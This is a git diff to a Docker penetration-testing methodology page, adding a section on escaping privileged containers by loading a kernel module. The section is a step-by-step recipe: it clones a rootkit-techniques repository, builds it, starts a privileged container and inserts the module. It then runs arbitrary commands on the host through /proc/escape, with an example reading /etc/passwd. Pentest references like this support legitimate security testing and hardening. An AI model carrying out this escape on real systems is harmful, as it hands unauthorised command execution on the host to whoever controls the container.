diff --git a/Methodology and Resources/Container - Docker Pentest.md b/Methodology and Resources/Container - Docker Pentest.md index b8faaa3..a72ce2c 100644 --- a/Methodology and Resources/Container - Docker Pentest.md +++ b/Methodology and Resources/Container - Docker Pentest.md @@ -175,6 +175,31 @@ Outside container: ls -la /etc/shadow Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow ``` + +## Breaking out of Docker via kernel modules loading + +> When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape. + +Exploitation: +* Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping` +* Build with `make` +* Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu` +* `cd /root` in the new container +* Insert the kernel module with `./escape` +* Run `./execute`! + +Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`. + +* `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html). +* `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to. + +The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container. + +Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one). + +The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile. + + ## References - [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/) @@ -183,4 +208,5 @@ Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow - [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/) - [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) - [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md) -- [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/) \ No newline at end of file +- [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/) +- [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping) \ No newline at end of file